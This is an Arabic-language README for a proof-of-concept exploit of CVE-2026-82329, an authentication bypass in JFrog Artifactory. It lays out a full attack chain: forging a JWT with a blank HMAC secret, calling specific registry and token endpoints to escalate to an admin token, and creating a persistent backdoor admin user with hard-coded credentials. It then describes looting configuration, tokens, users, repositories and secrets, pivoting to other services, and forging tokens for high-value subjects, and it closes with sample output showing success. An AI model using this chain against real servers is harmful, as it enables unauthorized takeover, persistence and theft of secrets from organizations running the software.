
إثبات المفهوم (PoC) لثغرة CVE-2026-82329، وهي تجاوز للمصادقة في JFrog Artifactory. يوضح تزوير رموز JWT للحصول على وصول كمسؤول وإنشاء مستخدم باب خلفي دائم.
CVE-2026-82329 — تجاوز المصادقة في JFrog Artifactory
الثغرة
تجاوز مصادقة حرج في JFrog Artifactory (الإصدارات 7.111.20، 7.117.27، 7.125.19، 7.133.28، 7.146.37، 7.161.19). تتيح الثغرة لمهاجم غير مصادق تزوير JWT باستخدام سر HMAC فارغ (32 بايت من 0x20)، وإنشاء رمز مسؤول، وإنشاء مستخدم باب خلفي.
سلسلة الاستغلال
الخطوة الإجراء 1 تزوير JWT مع alg=HS256، kid=SHA256("")، skip_node_registration=true 2 إرسال JWT إلى /access/api/v1/registry/join → الحصول على رمز SERVICE 3 استبدال رمز SERVICE برمز ADMIN عبر /access/api/v1/tokens 4 التحقق من وصول المسؤول عبر /artifactory/api/system/configuration، /access/api/v1/tokens، /artifactory/api/system/version 5 إنشاء مستخدم مسؤول دائم عبر /artifactory/api/security/users/{user} 6 نهب الإعدادات والرموز والمستخدمين والمستودعات والأسرار 7 تزوير رموز لأهداف عالية القيمة
تدفق الهجوم
BLANK_SECRET = b"\x20" * 32
↓
Forge JWT (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
SERVICE Token (scp=admin)
↓
POST /access/api/v1/tokens
↓
ADMIN Token (scp=applied-permissions/admin, aud=*)
↓
Prove Admin (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
Persistent Admin User: 0xTerror:Terrorp0c!7777
↓
Loot: Config, Tokens, Users, Repos, Secrets
↓
Pivot Check: Xray, Mission Control, Distribution, etc.
↓
Forge Tokens for High-Value Subjects
مثال على مخرجات PoC
[+] Step 1 /registry/join -> HTTP 201 SERVICE token (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin)
[+] Step 3 proof of admin: config=200, tokens=200, version=200
[+] Step 4 create admin user '0xTerror' -> HTTP 201
[=] VULNERABLE — unauthenticated attacker obtained ADMIN
Admin user: 0xTerror:Terrorp0c!7777